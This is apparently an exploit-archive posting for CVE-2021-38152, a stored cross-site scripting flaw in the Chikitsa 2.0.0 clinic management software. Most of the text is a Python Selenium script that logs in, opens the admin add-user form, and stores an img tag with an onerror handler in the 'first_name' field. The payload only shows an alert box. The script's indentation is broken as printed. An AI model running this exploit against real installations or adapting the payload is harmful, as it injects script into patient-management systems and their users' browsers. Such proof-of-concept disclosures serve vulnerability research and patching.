Chikitsa 2.0.0 Cross Site Scripting

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Posted Aug 13, 2021

Chikitsa version 2.0.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2021-38152
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```
# Exploit Title: XSS-Stored - Brutal PWNED on Chikitsa 2.0.0 parameter "first_name"
# Author: nullsecurlty
# Testing and Debugging: nullsecurlty $ g3ck0dr1v3r
# Date: 08.09.2021
# Vendor: https://chikitsa.net/
# Link: https://sourceforge.net/projects/chikitsa/
# CVE: CVE-2021-38152

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nullsecurlty
# CVE-2021-38152

from selenium import webdriver
import time


#enter the link to the website you want to automate login.
website_link="http://192.168.1.120/Chikitsa2.0.0/index.php/login/index"

#enter your login username
username="nullsecurlty"

#enter your login password
password="password"

#enter the element for username input field
element_for_username="username"
#enter the element for password input field
element_for_password="password"
#enter the element for submit button
element_for_submit="submit"

browser = webdriver.Chrome()
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

## Exploit
time.sleep(3)
browser.maximize_window()
browser.get(("http://192.168.1.120/Chikitsa2.0.0/index.php/admin/add_user
"))

## buttons

browser.execute_script("document.querySelector('[class=\"form-control\"]').value=\"Doctor\"")

time.sleep(3)
browser.execute_script("document.querySelector('[name=\"title\"]').value =
'Mr'")

time.sleep(1)
browser.execute_script("document.querySelector
('[name=\"first_name\"]').value = '</span><img src=
https://raw.githubusercontent.com/nullsecurlty/XSSight/master/XSS-image/image/kostaakatil.webp
onerror=alert(1) /><span>'")

time.sleep(1)
browser.execute_script("document.querySelector('[name=\"middle_name\"]').value
= 'Userov'")

time.sleep(1)
browser.execute_script("document.querySelector('[name=\"last_name\"]').value
= 'Userski'")

time.sleep(1)
browser.execute_script("document.querySelector('[name=\"username\"]').value
= 'DOct0rA'")

time.sleep(1)
browser.execute_script("document.querySelector('[name=\"password\"]').value
= 'password'")

time.sleep(1)
browser.execute_script("document.querySelector('[name=\"passconf\"]').value
= 'password'")

time.sleep(1)
browser.execute_script("document.querySelector('#is_active').checked =
true")

## submit

browser.execute_script("document.querySelector('[name=\"submit\"]').click()")

print("payload is deployed...\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")



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# Reproduce:
https://github.com/nullsecurlty/CVE-mitre/tree/main/CVE-2021-38152
# Proof: https://streamable.com/wbo5c1
# BR nullsecurlty
```

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